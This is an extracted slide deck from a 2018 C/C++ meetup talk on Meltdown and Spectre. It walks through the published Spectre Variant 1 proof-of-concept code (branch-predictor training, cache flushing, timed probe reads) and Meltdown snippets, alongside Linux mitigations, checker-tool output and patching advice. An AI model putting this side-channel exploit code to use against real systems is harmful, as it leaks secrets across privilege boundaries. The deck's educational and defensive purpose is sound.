Austin c-c++-meetup-feb2018-spectre

Meltdown and Spectre
Or, the end of civilization as we know it!

Outline
●
Concepts
– Speculative execution
– Branch prediction / branch target buffer
– Cache operation
– CPU instruction privilege levels
– MMUs
●
Spectre Variant 1: bounds check bypass
– Proof of Concept example walkthrough, demo
●
Spectre Variant 2: branch target injection
●
Variant 3 / Meltdown: rogue data cache load
●
Final remarks
Warning: lots of slides are cut-n-pastes:
Apologies to any authors I might have missed giving credit to for their content!

OOOE – general schemeOOOE – general scheme
●
Fetch & decode instructions in parallel but in order, to fill inst. pool
●
Execute ready instructions from the instructions pool
– All the data required for the instruction is ready
– Execution resources are available
●
Once an instruction is executed
– Signal all dependent instructions that data is ready
●
Commit instructions in parallel but in-order
– Can commit an instruction only after all preceding instructions (in
program order) have committed
Fetch &
Decode
Instruction
pool
Retire
(commit)
In-order In-order
Execute
Out-of-order

Branch prediction
 Implementation
– Use local history to predict direction
– Need to predict multiple branches
 Need to predict branches before previous branches are resolved
 Branch history updated first based on prediction, later based on
actual execution (speculative history)
– Target address taken from BTB
 Prediction rate: ~92%
– High prediction rate is crucial for long pipelines
– Especially important for OOOE, speculative execution:
 On misprediction all instructions following the branch in the instruction
window are flushed
 Effective size of the window is determined by prediction accuracy

Speculative execution –Speculative execution –
exampleexample
cycle 1 cycle 2
(1) r1  mem1 r1’  mem1
(2) r2  r2 + r1 r2’  r2 + r1’
(3) r1  mem2 r1”  mem2
(4) r3  r3 + r1 r3’  r3 + r1”
(5) jmp cond L2 predicted taken to L2
(6)L2 r1  mem3 r1”’ mem3
(7) r4  r5 + r1 r4’  r5 + r1”’
(8) r5  2 r5’  2
(9) r6  r5 + 2 r6’  r5’ + 2
 Instructions 6-9 are speculatively executed
 If the prediction turns wrong, they will be flushed
 If the branch was predicted not-taken
 The instructions from the other path would have been speculatively
executed
WAW
WAW
WAR
Speculative
Execution

CS 3214 Fall 2010
Dual-Mode Operation
• Two fundamental modes:
– “kernel mode” – privileged
• aka system, supervisor or monitor mode
• Intel calls its PL0, Privilege Level 0 on x86
– “user mode” – non-privileged
• PL3 on x86
• Bit in CPU – controls operation of CPU
– Privileged operations can only
be performed in kernel mode.
Example: hlt
– Must carefully control transition
between user & kernel mode
int main()
{
asm(“hlt”);
}
int main()
{
asm(“hlt”);
}

Intel Privilege architecture
(two rings unused)

CS 3214 Fall 2010
Dual-Mode Operation
• Two fundamental modes:
– “kernel mode” – privileged
• aka system, supervisor or monitor mode
• Intel calls its PL0, Privilege Level 0 on x86
– “user mode” – non-privileged
• PL3 on x86
• Bit in CPU – controls operation of CPU
– Privileged operations can only
be performed in kernel mode.
Example: hlt
– Must carefully control transition
between user & kernel mode
int main()
{
asm(“hlt”);
}
int main()
{
asm(“hlt”);
}
What will happen
if a root/admin
user runs this?

Memory Management Unit (MMU)
Privilege bit
fault/exception
user
user
user
Kernel only
Kernel only

L1 / L2 / L3 data cache memory
●
Caches are virtually indexed, physically tagged
so they can be accessed in parallel to the MMU
lookup

Three Common Vulnerabilities and
Exposures (CVE)
– Spectre Variant 1
●
CVE-2017-5753
●
“Bounds Check Bypass”
●
“Systems with microprocessors utilizing speculative execution and branch prediction may allow
unauthorized disclosure of information to an attacker with local user access via a side-channel
analysis.”
●
Primarily affects interpreters/JITs
– Spectre Variant 2
●
CVE-2017-5715
●
“Branch Target Injection”
●
...indirect branch prediction…
●
Primarily affects kernels/hypervisors
– 'Meltdown' aka 'Variant 3'
●
CVE-2017-5754
●
“Rogue Data Cache Load”
●
Affects kernels (and architecturally equivalent software)

Variant 1 example (from paper): victim function
unsigned int array1_size = 16;
uint8_t array1[160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};
uint8_t array2[256 * 512];
uint8_t temp = 0; /* Used so compiler won't optimize out victim_function() */
void victim_function(size_t x)
{
if (x < array1_size)
{
temp &= array2[array1[x] * 512];
}
}

Step 1: declare victim array memory, fn
uint8_t unused1[64];
uint8_t array1[160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};
uint8_t array2[256 * 512];
char* secret = "The Magic Words are Squeamish Ossifrage.";
size_t malicious_x = (size_t)(secret - (char *)array1); /* default for malicious_x */
{
{
}
}
on own cache line so it is only thing evicted
One (Intel) cache line
One (Intel) cache line
Safe values within bounds
Used at BP training time

Step 2: write all of array2 to warm page table cache (TLB)
Step 3: Initialize results array to reduce noise when reading
uint8_t array1[160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};
uint8_t array2[256 * 512];
for (size_t i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
for (i = 0; i < 256; i++)
results[i] = 0;

Step 4: flush array2 from cache (not TLB)
uint8_t array1[160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};
uint8_t array2[256 * 512];
for (tries = 999; tries > 0; tries--)
{
/* Flush array2[512*(0..255)] from cache */
_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
match victim fn stride

Step 5: 30 x [5 BP-training runs and
1 out of bounds attack]
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size; /* always meets < array1_size condition */
for (j = 29; j >= 0; j--)
{
_mm_clflush(&array1_size); /* cause victim fn's boundary check to stall */
/* wait for flush to memory to complete */
for (volatile int z = 0; z < 100; z++)
{
} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6 != 0 or malicious_x if j%6 == 0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=ffffffffffff0000 if j%6 == 0, else x=0 */
x = (x | (x >> 16)); /* Set x=ffffffffffffffff if j%6 == 0, else x=0 */
/* Set x=training_x if j%6 != 0, else x=malicious_x */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
{
{
}
} flushed secret
flushes
Transient instructions executed 1 in 6 times

This doesn’t get
rolled back!
Side channel is
the cache

Step 5: time array2 reads
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++)
{
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk); /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}

mix_i map, preventing stride prediction

Violating Javascript’s Sandbox
a matter of convincing the JIT to generate the asm we want
if (index < simpleByteArray.length) {
index = simpleByteArray[index | 0];
index = (((index * TABLE1_STRIDE) | 0) & (TABLE1_BYTES–1))|0;
localJunk ^= probeTable[index | 0] | 0;
}
https://rwc.iacr.org/2018/Slides/Horn.pdf
Check if your browser is vulnerable:
http://xlab.tencent.com/special/spectre/spectre_check.html

Linux kernel’s Variant 1 mitigation attempt: add helper fn
to sanitize an array index after a bounds check
/* When @index is out of bounds (@index >= @size), the sign bit will be
* set. Extend the sign bit to all bits and invert, giving a result of
* zero for an out of bounds index, or ~0 if within bounds [0, @size).
*/
static inline unsigned long array_index_mask_nospec(unsigned long index,
unsigned long size)
{
OPTIMIZER_HIDE_VAR(index);
return ~(long)(index | (size - 1UL - index)) >> (BITS_PER_LONG - 1);
}
/* For a code sequence like:
* if (index < size) {
* index = array_index_nospec(index, size);
* val = array[index];
* }
* ...if the CPU speculates past the bounds check then
* array_index_nospec() will clamp the index within the range of [0,
* size).
*/
#define array_index_nospec(index, size)
({
typeof(index) _i = (index);
typeof(size) _s = (size);
unsigned long _mask = array_index_mask_nospec(_i, _s);

_i &= _mask;
_i;
})
Have to scan all current and future
kernel source, and replace any
speculation vulnerable code to use
this helper fn instead.
That’s what the Linux kernel is
doing for its own code.
What does this mean for all other
code being developed around the
world?
Will compilers, exec. loaders,
interpreters, JITs help Apps
developers not write bounds
checking code incorrectly?
Variant 1 is here to haunt us for a
while...but wait, there are more!

Variant 2: branch target injection
●
Like Variant 1, but instead of conditional branch speculative execution, it applies
to indirect branch speculative execution
– Used with C pointers to functions, C++ virtual functions, system call jump tables, etc.
●
Example: A common C++ indirect branch
class Base {
public:
virtual void Foo() = 0;
};
class Derived : public Base {
public:
void Foo() override { … }
};
Base* obj = new Derived;
obj->Foo();
jmp *%rax; /* indirect branch to the target referenced by %rax */

Variant 2: branch target injection
●
Unlike variant 1, the side channel is the branch predictor (not the data
cache)
– Unlike caches, branch predictors don’t uniquely tag addresses
– BTBs don’t discriminate kernel/user domains
– Haswell BTB: partial virt. addr + recent history fingerprint
●
Prior research: Break Address Space Layout Randomization (ASLR)
across security domains
– As a victim, able to determine where the kernel / hypervisor code is
●
Inject misspeculation to controlled addresses across security domains
– transient instruction execution in kernel / hypervisor mode
– st 0(r1) ← #hlt_insn_opcode […] jmp r1

Variant 2 “mitigations”
●
Lots of CPUs don’t have means of BTB invalidation (bpiall insn)
– Take 1,000s of branches for each indirect branch?
– Reset the MMU by turning if off and on again?
– (mostly x86) does a microcode update really fix all cases?
●
‘retpoline’: Example of an indirect jump with manual prediction
cmp %r11, known_indirect_target
jne retpoline_r11_trampoline
jmp known_indirect_target
●
llvm/clang 7.0.0, gcc 7.3.0 support
●
demo script showing current^Wdu jour kernel mitigation status
– later in this presentation
https://support.google.com/faqs/answer/7625886

Variant 3 / Meltdown
●
Like Variant 1, but malicious_x targets kernel memory
i = *pointer; // into kernel mapped memory
y = i * 256;
z = array2[y];
●
Tries to access privileged (kernel) memory
– race condition in privilege check of processor
– Dependent instructions can execute before execution is aborted!
●
Malicious code an install own signal handler to continue
running after page fault:
– signal(SIGSEGV /* 11 */, segv_handler_fn);

Meltdown Mitigation (cross-arch)
KPTI: Kernel Page Table Isolation
previously Kernel Address Isolation to have Side-channels Efficiently Removed (KAISER)
Privilege bit
fault/exception
user
user
user
Kernel only
Kernel only
KPTI UNMAPS PRIOR TO CONTEXT
SWITCHING INTO USERSPACE
Kernel update required

Vulnerable Intel h/w products
●
Intel® Core™ i3 processor (45nm and 32nm)
●
●
●
Intel® Core™ M processor family (45nm and
32nm)
●
2nd generation Intel® Core™ processors
●
3rd generation Intel® Core™ processors
●
4th generation Intel® Core™ processors
●
●
●
●
●
Intel® Core™ X-series Processor Family for
Intel® X99 platforms
●
Intel® Core™ X-series Processor Family for
Intel® X299 platforms
●
Intel® Xeon® processor 3400 series
●
●
●
●
●
●
Intel® Xeon® Processor E3 Family
●
Intel® Xeon® Processor E3 v2 Family
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
●
Intel® Xeon® Processor Scalable Family
●
Intel® Xeon Phi™ Processor 3200, 5200,
7200 Series
●
Intel® Atom™ Processor C Series
●
Intel® Atom™ Processor E Series
●
Intel® Atom™ Processor A Series
●
Intel® Atom™ Processor x3 Series
●
Intel® Atom™ Processor Z Series
●
Intel® Celeron® Processor J Series
●
Intel® Celeron® Processor N Series
●
Intel® Pentium® Processor J Series
●
Intel® Pentium® Processor N Series
https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00088&languageid=en-fr

Vulnerable Arm h/w products
https://developer.arm.com/support/security-update
Refer to Arm partner websites, e.g., Qualcomm, Apple, NXP etc.,
for status of their particular implementations

x86box$ sudo ./spectre-meltdown-checker.sh (page 1: h/w)
https://github.com/speed47/spectre-meltdown-checker
Spectre and Meltdown mitigation detection tool v0.32
Checking for vulnerabilities on current system
Kernel is Linux 4.13.0-31-generic #34-Ubuntu SMP Fri Jan 19 16:34:46 UTC 2018 x86_64
CPU is Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz
Hardware check
* Hardware support (CPU microcode) for mitigation techniques
* Indirect Branch Restricted Speculation (IBRS)
* SPEC_CTRL MSR is available: NO
* CPU indicates IBRS capability: NO
* Indirect Branch Prediction Barrier (IBPB)
* PRED_CMD MSR is available: NO
* CPU indicates IBPB capability: NO
* Single Thread Indirect Branch Predictors (STIBP)
* SPEC_CTRL MSR is available: NO
* CPU indicates STIBP capability: NO
* Enhanced IBRS (IBRS_ALL)
* CPU indicates ARCH_CAPABILITIES MSR availability: NO
* ARCH_CAPABILITIES MSR advertises IBRS_ALL capability: NO
* CPU explicitly indicates not being vulnerable to Meltdown (RDCL_NO): NO
* CPU vulnerability to the three speculative execution attacks variants
* Vulnerable to Variant 1: YES

Intel issuing microcode fixes via
BIOS update
https://newsroom.intel.com/wp-content/uploads/sites/11/2018/01/microcode-update-guidance.pdf

x86box$ sudo ./spectre-meltdown-checker.sh (page 2: s/w)
CVE-2017-5753 [bounds check bypass] aka 'Spectre Variant 1'
* Checking count of LFENCE opcodes in kernel: YES
> STATUS: NOT VULNERABLE (114 opcodes found, which is >= 70, heuristic to be improved when official
patches become available)
CVE-2017-5715 [branch target injection] aka 'Spectre Variant 2'
* Mitigation 1
* Kernel is compiled with IBRS/IBPB support: YES
* Currently enabled features
* IBRS enabled for Kernel space: NO (echo 1 > /proc/sys/kernel/ibrs_enabled)
* IBRS enabled for User space: NO (echo 2 > /proc/sys/kernel/ibrs_enabled)
* IBPB enabled: NO (echo 1 > /proc/sys/kernel/ibpb_enabled)
* Mitigation 2
* Kernel compiled with retpoline option: NO
* Kernel compiled with a retpoline-aware compiler: NO
* Retpoline enabled: NO
> STATUS: VULNERABLE (IBRS hardware + kernel support OR kernel with retpoline are needed to mitigate the
vulnerability)
CVE-2017-5754 [rogue data cache load] aka 'Meltdown' aka 'Variant 3'
* Kernel supports Page Table Isolation (PTI): YES
* PTI enabled and active: YES
* Running under Xen PV (64 bits): NO
> STATUS: NOT VULNERABLE (PTI mitigates the vulnerability)
A false sense of security is worse than no security at all, see --disclaimer

arm64box$ sudo ./spectre-meltdown-checker.sh (old version)
Checking for vulnerabilities against running kernel Linux 4.15.0-rc8+ #21 SMP Tue Jan 16 20:43:10 CST 2018 aarch64
CPU is ARM v8 model 0xd07
* Checking count of LFENCE opcodes in kernel: UNKNOWN
> STATUS: UNKNOWN (couldn't check (couldn't extract your kernel from /boot//Image-4.15.0-rc8+))
* Mitigation 1
* Hardware (CPU microcode) support for mitigation
* The SPEC_CTRL MSR is available: UNKNOWN (couldn't read /dev/cpu/0/msr, is msr support enabled in your kernel?)
* The SPEC_CTRL CPUID feature bit is set: UNKNOWN (couldn't read /dev/cpu/0/cpuidr, is cpuid support enabled in your
kernel?)
* Kernel support for IBRS: NO
* IBRS enabled for Kernel space: NO
* IBRS enabled for User space: NO
* Mitigation 2
> STATUS: VULNERABLE (IBRS hardware + kernel support OR kernel with retpoline are needed to mitigate the vulnerability)
* Kernel supports Page Table Isolation (PTI): NO
* PTI enabled and active: NO
* Checking if we're running under Xen PV (64 bits): NO
> STATUS: NOT VULNERABLE (your CPU vendor reported your CPU model as not vulnerable)

arm64box$ sudo ./spectre-meltdown-checker.sh (page 1: h/w)
Checking for vulnerabilities on current system
Kernel is Linux 4.15.0-rc8+ #21 SMP Tue Jan 16 20:43:10 CST 2018 aarch64
CPU is ARM v8 model 0xd07
Hardware check
* Hardware support (CPU microcode) for mitigation techniques
* Indirect Branch Restricted Speculation (IBRS)
* SPEC_CTRL MSR is available: UNKNOWN (couldn't read /dev/cpu/0/msr, is msr support enabled in your kernel?)
* CPU indicates IBRS capability: UNKNOWN (couldn't read /dev/cpu/0/cpuid, is cpuid support enabled in your kernel?)
* Indirect Branch Prediction Barrier (IBPB)
* PRED_CMD MSR is available: UNKNOWN (couldn't read /dev/cpu/0/msr, is msr support enabled in your kernel?)
* CPU indicates IBPB capability: UNKNOWN (couldn't read /dev/cpu/0/cpuid, is cpuid support enabled in your kernel?)
* Single Thread Indirect Branch Predictors (STIBP)
* SPEC_CTRL MSR is available: UNKNOWN (couldn't read /dev/cpu/0/msr, is msr support enabled in your kernel?)
* CPU indicates STIBP capability: UNKNOWN (couldn't read /dev/cpu/0/cpuid, is cpuid support enabled in your
kernel?)
* Enhanced IBRS (IBRS_ALL)
* CPU indicates ARCH_CAPABILITIES MSR availability: UNKNOWN (couldn't read /dev/cpu/0/cpuid, is cpuid support
enabled in your kernel?)
* ARCH_CAPABILITIES MSR advertises IBRS_ALL capability: NO
* CPU explicitly indicates not being vulnerable to Meltdown (RDCL_NO): NO
* CPU vulnerability to the three speculative execution attacks variants

arm64box$ sudo ./spectre-meltdown-checker.sh (page 2: s/w)
* Checking count of LFENCE opcodes in kernel: UNKNOWN
> STATUS: UNKNOWN (couldn't check (couldn't extract your kernel from /boot//Image-4.15.0-rc8+))
* Mitigation 1
* Kernel is compiled with IBRS/IBPB support: NO
* Currently enabled features
* IBRS enabled for Kernel space: NO
* IBRS enabled for User space: NO
* IBPB enabled: NO
* Mitigation 2
* Retpoline enabled: NO
> STATUS: VULNERABLE (IBRS hardware + kernel support OR kernel with retpoline are needed to mitigate
the vulnerability)
* Kernel supports Page Table Isolation (PTI): NO
* PTI enabled and active: NO
* Running under Xen PV (64 bits): NO
> STATUS: VULNERABLE (PTI is needed to mitigate the vulnerability)

Kernel itself says whether vulnerable, unless...
https://lkml.org/lkml/2018/2/2/1030

Performance: -ve, but since you’re
updating anyway...
Greg Kroah-Hartman
Public
Jan 31, 2018
From an email thread forwarded to me about one Linux user benchmarking recent kernel versions on a specific
network-heavy load:
"4.15 is 7-9% faster than 4.11"
"Turning kpti on makes 4.15 1-2% slower than 4.11"
So, overall, we are right back where we started from. Which makes me feel good, the recent Meltdown changes turn
out to not really be much of a problem overall.
Although those developers who worked so hard to get that 7-9% increase over the past year might not be all happy,
this should help put to rest the gloom-and-doom reports that various articles are reporting lately.
But if you are stuck at an old kernel version (i.e. 3.10.y, 4.4.y, or 4.9.y or whatever your distro is camping on for the
next decade), that's a totally different story. Go forth and benchmark! Then go update to a newer kernel version, odds
are it will be a good improvement.
https://plus.google.com/+gregkroahhartman/posts/BaTW7AXDRjW

AV-Test discovered 119 new samples associated
with these vulnerabilities
https://blog.fortinet.com/2018/01/30/the-exponential-growth-of-detected-malware-targeted-at-meltdown-and-spectre

AV-Test discovered 119 new samples associated
with these vulnerabilities
83% based on PoC code, other 17% under NDA

Conclusion
●
Significant attack
●
Hard to mitigate, “it will haunt us for a long time.”
●
Variant 3 (Meltdown) can read kernel memory but is mitigated
with KPTI (update kernel!)
●
Variants 1, 2 not mitigated, almost every processor made since
1995 is vulnerable
●
Users: Don’t stop* updating all software (OS, browsers, apps),
firmware/microcode, and ultimately, hardware
●
Developers: update compilers, tools, employ scanners, start to
monitor and integrate variant 1, 2 mitigations into your project(s)
* Why, are there more?

What allocation algorithm is Mitre using for CVE
numbers?
$ zgrep -E ^Name:|** allitems.txt.gz | grep -C 5 2017-5715
Name: CVE-2017-5712
Name: CVE-2017-5713
** RESERVED **
Name: CVE-2017-5714
** RESERVED **
Name: CVE-2017-5715
Name: CVE-2017-5716
** REJECT **
Name: CVE-2017-5717
Name: CVE-2017-5718
** RESERVED **
Variant 2, branch target injection
“This candidate is a reservation duplicate of CVE-2017-
12865” (Stack-based buffer overflow in "dnsproxy.c"...)
Type Confusion in Content Protection HECI Service in Intel Graphics
Driver allows unprivileged user to elevate privileges via local access
Buffer overflow in Active Management Technology (AMT) in
Intel Manageability Engine Firmware
https://cve.mitre.org/data/downloads/index.html

Variants 1 & 3 CVE neighbours
Escalation of privilege vulnerability in
admin portal for Intel Unite App
$ zgrep -E ^Name:|** allitems.txt.gz | grep -C 61 2017-575 | awk 'NR%2{printf "%s ",$0;next;}1'
Name: CVE-2017-5716 ** REJECT **
Name: CVE-2017-5717 Name: CVE-2017-5718
** RESERVED ** Name: CVE-2017-5719
Name: CVE-2017-5720 ** RESERVED **
Name: CVE-2017-5721 Name: CVE-2017-5722
Name: CVE-2017-5727
Name: CVE-2017-5729
Name: CVE-2017-5738
Name: CVE-2017-5753
Name: CVE-2017-5754
Variant 1 (Bounds Check Bypass)
Variant 3/Meltdown (Rogue Data Cache Load)

resources
●
https://googleprojectzero.blogspot.com/, spectreattack.com
●
GPZ’s Jan Horn’s material: https://rwc.iacr.org/2018/Slides/Horn.pdf
– https://www.youtube.com/watch?v=6O8LTwVfTVs
●
CVE: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-5715
●
Github.com/marcan/speculation-bugs
●
https://www.moesif.com/blog/technical/cpu-arch/What-Is-The-Actual-Vul
nerability-Behind-Meltdown/
●
https://lwn.net/Articles/744287/
●
http://kroah.com/log/blog/2018/01/19/meltdown-status-2/
●
http://xlab.tencent.com/special/spectre/spectre_check.html
●
https://android.googlesource.com/kernel/common/+log/android-4.9

Austin c-c++-meetup-feb2018-spectre

Recommended

Recommended

More Related Content

What's hot

What's hot (20)

Similar to Austin c-c++-meetup-feb2018-spectre

Similar to Austin c-c++-meetup-feb2018-spectre (20)

Recently uploaded

Recently uploaded (20)

Austin c-c++-meetup-feb2018-spectre